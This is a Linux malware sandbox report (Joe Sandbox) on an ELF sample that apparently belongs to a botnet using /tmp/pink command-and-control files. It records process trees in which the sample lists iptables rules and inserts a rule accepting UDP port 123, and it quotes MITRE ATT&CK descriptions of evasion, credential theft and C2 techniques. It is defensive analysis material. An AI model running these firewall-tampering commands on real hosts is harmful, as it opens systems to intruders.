Path:	/tmp/file.elf
Arguments:	-
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Chronological Activities

Analysis Process: file.elf PID: 5555, Parent PID: 5549

General

Start time (UTC):	12:04:55
Start date (UTC):	10/01/2025
Path:	/tmp/file.elf
Arguments:	-
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Chronological Activities

Analysis Process: file.elf PID: 5557, Parent PID: 5549

General

Start time (UTC):	12:04:55
Start date (UTC):	10/01/2025
Path:	/tmp/file.elf
Arguments:	-
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Chronological Activities

Analysis Process: sh PID: 5557, Parent PID: 5549

General

Start time (UTC):	12:04:55
Start date (UTC):	10/01/2025
Path:	/bin/sh
Arguments:	/bin/sh -c "/sbin/iptables -n -L OUTPUT > /tmp/pink/protect_ipt_check"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5559, Parent PID: 5557

General

Start time (UTC):	12:04:55
Start date (UTC):	10/01/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: iptables PID: 5559, Parent PID: 5557

General

Start time (UTC):	12:04:55
Start date (UTC):	10/01/2025
Path:	/sbin/iptables
Arguments:	/sbin/iptables -n -L OUTPUT
File size:	99296 bytes
MD5 hash:	1ab05fef765b6342cdfadaa5275b33af

Chronological Activities

Analysis Process: file.elf PID: 5587, Parent PID: 5549

General

Start time (UTC):	12:05:11
Start date (UTC):	10/01/2025
Path:	/tmp/file.elf
Arguments:	-
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Chronological Activities

Analysis Process: sh PID: 5587, Parent PID: 5549

General

Start time (UTC):	12:05:11
Start date (UTC):	10/01/2025
Path:	/bin/sh
Arguments:	/bin/sh -c "/sbin/iptables -n -L OUTPUT > /tmp/pink/protect_ipt_check"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5589, Parent PID: 5587

General

Start time (UTC):	12:05:11
Start date (UTC):	10/01/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: iptables PID: 5589, Parent PID: 5587

General

Start time (UTC):	12:05:11
Start date (UTC):	10/01/2025
Path:	/sbin/iptables
Arguments:	/sbin/iptables -n -L OUTPUT
File size:	99296 bytes
MD5 hash:	1ab05fef765b6342cdfadaa5275b33af

Chronological Activities

Analysis Process: file.elf PID: 5599, Parent PID: 5549

General

Start time (UTC):	12:05:27
Start date (UTC):	10/01/2025
Path:	/tmp/file.elf
Arguments:	-
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Chronological Activities

Analysis Process: sh PID: 5599, Parent PID: 5549

General

Start time (UTC):	12:05:27
Start date (UTC):	10/01/2025
Path:	/bin/sh
Arguments:	/bin/sh -c "/sbin/iptables -n -L OUTPUT > /tmp/pink/protect_ipt_check"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5601, Parent PID: 5599

General

Start time (UTC):	12:05:27
Start date (UTC):	10/01/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: iptables PID: 5601, Parent PID: 5599

General

Start time (UTC):	12:05:27
Start date (UTC):	10/01/2025
Path:	/sbin/iptables
Arguments:	/sbin/iptables -n -L OUTPUT
File size:	99296 bytes
MD5 hash:	1ab05fef765b6342cdfadaa5275b33af

Chronological Activities

Analysis Process: file.elf PID: 5610, Parent PID: 5549

General

Start time (UTC):	12:05:43
Start date (UTC):	10/01/2025
Path:	/tmp/file.elf
Arguments:	-
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Chronological Activities

Analysis Process: sh PID: 5610, Parent PID: 5549

General

Start time (UTC):	12:05:43
Start date (UTC):	10/01/2025
Path:	/bin/sh
Arguments:	/bin/sh -c "/sbin/iptables -n -L OUTPUT > /tmp/pink/protect_ipt_check"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5612, Parent PID: 5610

General

Start time (UTC):	12:05:43
Start date (UTC):	10/01/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: iptables PID: 5612, Parent PID: 5610

General

Start time (UTC):	12:05:43
Start date (UTC):	10/01/2025
Path:	/sbin/iptables
Arguments:	/sbin/iptables -n -L OUTPUT
File size:	99296 bytes
MD5 hash:	1ab05fef765b6342cdfadaa5275b33af

Chronological Activities

Analysis Process: file.elf PID: 5629, Parent PID: 5549

General

Start time (UTC):	12:05:59
Start date (UTC):	10/01/2025
Path:	/tmp/file.elf
Arguments:	-
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Chronological Activities

Analysis Process: sh PID: 5629, Parent PID: 5549

General

Start time (UTC):	12:05:59
Start date (UTC):	10/01/2025
Path:	/bin/sh
Arguments:	/bin/sh -c "/sbin/iptables -n -L OUTPUT > /tmp/pink/protect_ipt_check"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5635, Parent PID: 5629

General

Start time (UTC):	12:05:59
Start date (UTC):	10/01/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: iptables PID: 5635, Parent PID: 5629

General

Start time (UTC):	12:05:59
Start date (UTC):	10/01/2025
Path:	/sbin/iptables
Arguments:	/sbin/iptables -n -L OUTPUT
File size:	99296 bytes
MD5 hash:	1ab05fef765b6342cdfadaa5275b33af

Chronological Activities

Analysis Process: file.elf PID: 5642, Parent PID: 5549

General

Start time (UTC):	12:06:15
Start date (UTC):	10/01/2025
Path:	/tmp/file.elf
Arguments:	-
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Chronological Activities

Analysis Process: sh PID: 5642, Parent PID: 5549

General

Start time (UTC):	12:06:15
Start date (UTC):	10/01/2025
Path:	/bin/sh
Arguments:	/bin/sh -c "/sbin/iptables -n -L OUTPUT > /tmp/pink/protect_ipt_check"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5644, Parent PID: 5642

General

Start time (UTC):	12:06:15
Start date (UTC):	10/01/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: iptables PID: 5644, Parent PID: 5642

General

Start time (UTC):	12:06:15
Start date (UTC):	10/01/2025
Path:	/sbin/iptables
Arguments:	/sbin/iptables -n -L OUTPUT
File size:	99296 bytes
MD5 hash:	1ab05fef765b6342cdfadaa5275b33af

Chronological Activities

Analysis Process: file.elf PID: 5652, Parent PID: 5549

General

Start time (UTC):	12:06:31
Start date (UTC):	10/01/2025
Path:	/tmp/file.elf
Arguments:	-
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Chronological Activities

Analysis Process: sh PID: 5652, Parent PID: 5549

General

Start time (UTC):	12:06:31
Start date (UTC):	10/01/2025
Path:	/bin/sh
Arguments:	/bin/sh -c "/sbin/iptables -n -L OUTPUT > /tmp/pink/protect_ipt_check"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5654, Parent PID: 5652

General

Start time (UTC):	12:06:31
Start date (UTC):	10/01/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: iptables PID: 5654, Parent PID: 5652

General

Start time (UTC):	12:06:31
Start date (UTC):	10/01/2025
Path:	/sbin/iptables
Arguments:	/sbin/iptables -n -L OUTPUT
File size:	99296 bytes
MD5 hash:	1ab05fef765b6342cdfadaa5275b33af

Chronological Activities

Analysis Process: file.elf PID: 5665, Parent PID: 5549

General

Start time (UTC):	12:06:47
Start date (UTC):	10/01/2025
Path:	/tmp/file.elf
Arguments:	-
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Chronological Activities

Analysis Process: sh PID: 5665, Parent PID: 5549

General

Start time (UTC):	12:06:47
Start date (UTC):	10/01/2025
Path:	/bin/sh
Arguments:	/bin/sh -c "/sbin/iptables -n -L OUTPUT > /tmp/pink/protect_ipt_check"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5667, Parent PID: 5665

General

Start time (UTC):	12:06:47
Start date (UTC):	10/01/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: iptables PID: 5667, Parent PID: 5665

General

Start time (UTC):	12:06:47
Start date (UTC):	10/01/2025
Path:	/sbin/iptables
Arguments:	/sbin/iptables -n -L OUTPUT
File size:	99296 bytes
MD5 hash:	1ab05fef765b6342cdfadaa5275b33af

Chronological Activities

Analysis Process: file.elf PID: 5550, Parent PID: 5525

General

Start time (UTC):	12:04:55
Start date (UTC):	10/01/2025
Path:	/tmp/file.elf
Arguments:	-
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Chronological Activities

Analysis Process: file.elf PID: 5618, Parent PID: 5550

General

Start time (UTC):	12:05:55
Start date (UTC):	10/01/2025
Path:	/tmp/file.elf
Arguments:	-
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Chronological Activities

Analysis Process: file.elf PID: 5620, Parent PID: 5618

General

Start time (UTC):	12:05:55
Start date (UTC):	10/01/2025
Path:	/tmp/file.elf
Arguments:	-
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Chronological Activities

Analysis Process: sh PID: 5620, Parent PID: 5618

General

Start time (UTC):	12:05:55
Start date (UTC):	10/01/2025
Path:	/bin/sh
Arguments:	/bin/sh -c "/sbin/iptables -n -L INPUT > /tmp/pink/p2p_ipt_check"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5622, Parent PID: 5620

General

Start time (UTC):	12:05:55
Start date (UTC):	10/01/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: iptables PID: 5622, Parent PID: 5620

General

Start time (UTC):	12:05:55
Start date (UTC):	10/01/2025
Path:	/sbin/iptables
Arguments:	/sbin/iptables -n -L INPUT
File size:	99296 bytes
MD5 hash:	1ab05fef765b6342cdfadaa5275b33af

Chronological Activities

Analysis Process: file.elf PID: 5623, Parent PID: 5618

General

Start time (UTC):	12:05:55
Start date (UTC):	10/01/2025
Path:	/tmp/file.elf
Arguments:	-
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Chronological Activities

Analysis Process: sh PID: 5623, Parent PID: 5618

General

Start time (UTC):	12:05:55
Start date (UTC):	10/01/2025
Path:	/bin/sh
Arguments:	/bin/sh -c "/sbin/iptables -I INPUT -p udp --dport 123 -j ACCEPT"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5625, Parent PID: 5623

General

Start time (UTC):	12:05:55
Start date (UTC):	10/01/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: iptables PID: 5625, Parent PID: 5623

General

Start time (UTC):	12:05:55
Start date (UTC):	10/01/2025
Path:	/sbin/iptables
Arguments:	/sbin/iptables -I INPUT -p udp --dport 123 -j ACCEPT
File size:	99296 bytes
MD5 hash:	1ab05fef765b6342cdfadaa5275b33af

Chronological Activities

Analysis Process: file.elf PID: 5671, Parent PID: 5550

General

Start time (UTC):	12:06:55
Start date (UTC):	10/01/2025
Path:	/tmp/file.elf
Arguments:	-
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Chronological Activities

Analysis Process: file.elf PID: 5673, Parent PID: 5671

General

Start time (UTC):	12:06:55
Start date (UTC):	10/01/2025
Path:	/tmp/file.elf
Arguments:	-
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Chronological Activities

Analysis Process: sh PID: 5673, Parent PID: 5671

General

Start time (UTC):	12:06:55
Start date (UTC):	10/01/2025
Path:	/bin/sh
Arguments:	/bin/sh -c "/sbin/iptables -n -L INPUT > /tmp/pink/p2p_ipt_check"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5675, Parent PID: 5673

General

Start time (UTC):	12:06:55
Start date (UTC):	10/01/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: iptables PID: 5675, Parent PID: 5673

General

Start time (UTC):	12:06:55
Start date (UTC):	10/01/2025
Path:	/sbin/iptables
Arguments:	/sbin/iptables -n -L INPUT
File size:	99296 bytes
MD5 hash:	1ab05fef765b6342cdfadaa5275b33af

Chronological Activities

Analysis Process: file.elf PID: 5553, Parent PID: 5525

General

Start time (UTC):	12:04:55
Start date (UTC):	10/01/2025
Path:	/tmp/file.elf
Arguments:	-
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report file.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/pink/cache_finder_page_web

/tmp/pink/cnc_live

/tmp/pink/cnc_live_proxy

/tmp/pink/cnc_runtype

/tmp/pink/p2p_cncproxy_status

/tmp/pink/p2p_ipt_check

/tmp/pink/protect_ipt_check

/tmp/qemu-open.IJGQHZ (deleted)

/tmp/qemu-open.M2JAPW (deleted)

/tmp/qemu-open.jx2RQZ (deleted)

Static File Info

General

Static ELF Info

ELF header

Program Segments

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

System Behavior

Analysis Process: file.elf PID: 5523, Parent PID: 5441

General

Chronological Activities

Analysis Process: file.elf PID: 5525, Parent PID: 5523

General

Chronological Activities

Linux Analysis Report
file.elf